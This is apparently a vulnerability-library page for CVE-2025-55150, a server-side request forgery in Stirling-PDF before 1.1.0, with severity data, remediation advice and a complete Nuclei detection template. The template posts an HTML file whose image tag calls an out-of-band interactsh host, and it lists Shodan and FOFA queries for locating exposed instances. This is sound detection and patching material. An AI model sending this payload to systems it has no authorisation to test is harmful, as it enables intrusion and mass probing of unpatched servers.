/Vulnerability Library

Stirling-PDF < 1.1.0 - Server-Side Request Forgery

CVE-2025-55150
Verified

Description

Stirling-PDF < 1.1.0 contains a server side request forgery caused by bypassing the sanitizer in the /api/v1/convert/html/pdf endpoint when processing HTML to PDF conversion, letting attackers perform SSRF, exploit requires local access.

Severity

High

CVSS Score

9.8

Exploit Probability

7%

Affected Product

stirling_pdf

Published Date

March 30, 2026

Template Author

weqi

CVE-2025-55150.yaml
id: CVE-2025-55150

info:
  name: Stirling-PDF < 1.1.0 - Server-Side Request Forgery
  author: WeQi
  severity: high
  description: |
    Stirling-PDF < 1.1.0 contains a server side request forgery caused by bypassing the sanitizer in the /api/v1/convert/html/pdf endpoint when processing HTML to PDF conversion, letting attackers perform SSRF, exploit requires local access.
  impact: |
    Attackers can perform SSRF to access internal resources or services, potentially leading to information disclosure or further attacks.
  remediation: |
   Upgrade to version 1.1.0 or later.
  reference:
    - https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-xw8v-9mfm-g2pm
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55150
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-55150
    epss-score: 0.06964
    epss-percentile: 0.91537
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: stirlingpdf
    product: stirling_pdf
    fofa-query: title="Stirling PDF"
    shodan-query: http.title:"Stirling PDF"
  tags: cve,cve2025,stirling-pdf,ssrf

variables:
  username: "{{to_lower(rand_base(6))}}"

flow: http(1) && http(2)

http:

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<title>Stirling PDF")'
        internal: true

  - raw:
      - |
        POST /api/v1/convert/html/pdf HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryavCUaFmKmcDEhMPU

        ------WebKitFormBoundaryavCUaFmKmcDEhMPU
        Content-Disposition: form-data; name="fileInput"; filename="{{username}}.html"
        Content-Type: text/html

        <marquee behavior='alternate' direction='right'><img src='http://{{interactsh-url}}'></marquee>
        Content-Disposition: form-data; name="zoom"

        1
        ------WebKitFormBoundaryavCUaFmKmcDEhMPU--

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(body,'%PDF-1.7')"
        condition: and
# digest: 4b0a00483046022100edfcddadb46b4ed83ef7f4b1ea1cef2f9eeb8de92847a2d741dcfe7ebb1370d0022100e7cdedbf8018e3e5461a3389986f8dad36edde75b6d6c0d2069b64eb6479aadf:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2025-55150
CWE ID:
cwe-918

References

https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-xw8v-9mfm-g2pmhttps://nvd.nist.gov/vuln/detail/CVE-2025-55150

Remediation Steps

Upgrade to version 1.1.0 or later.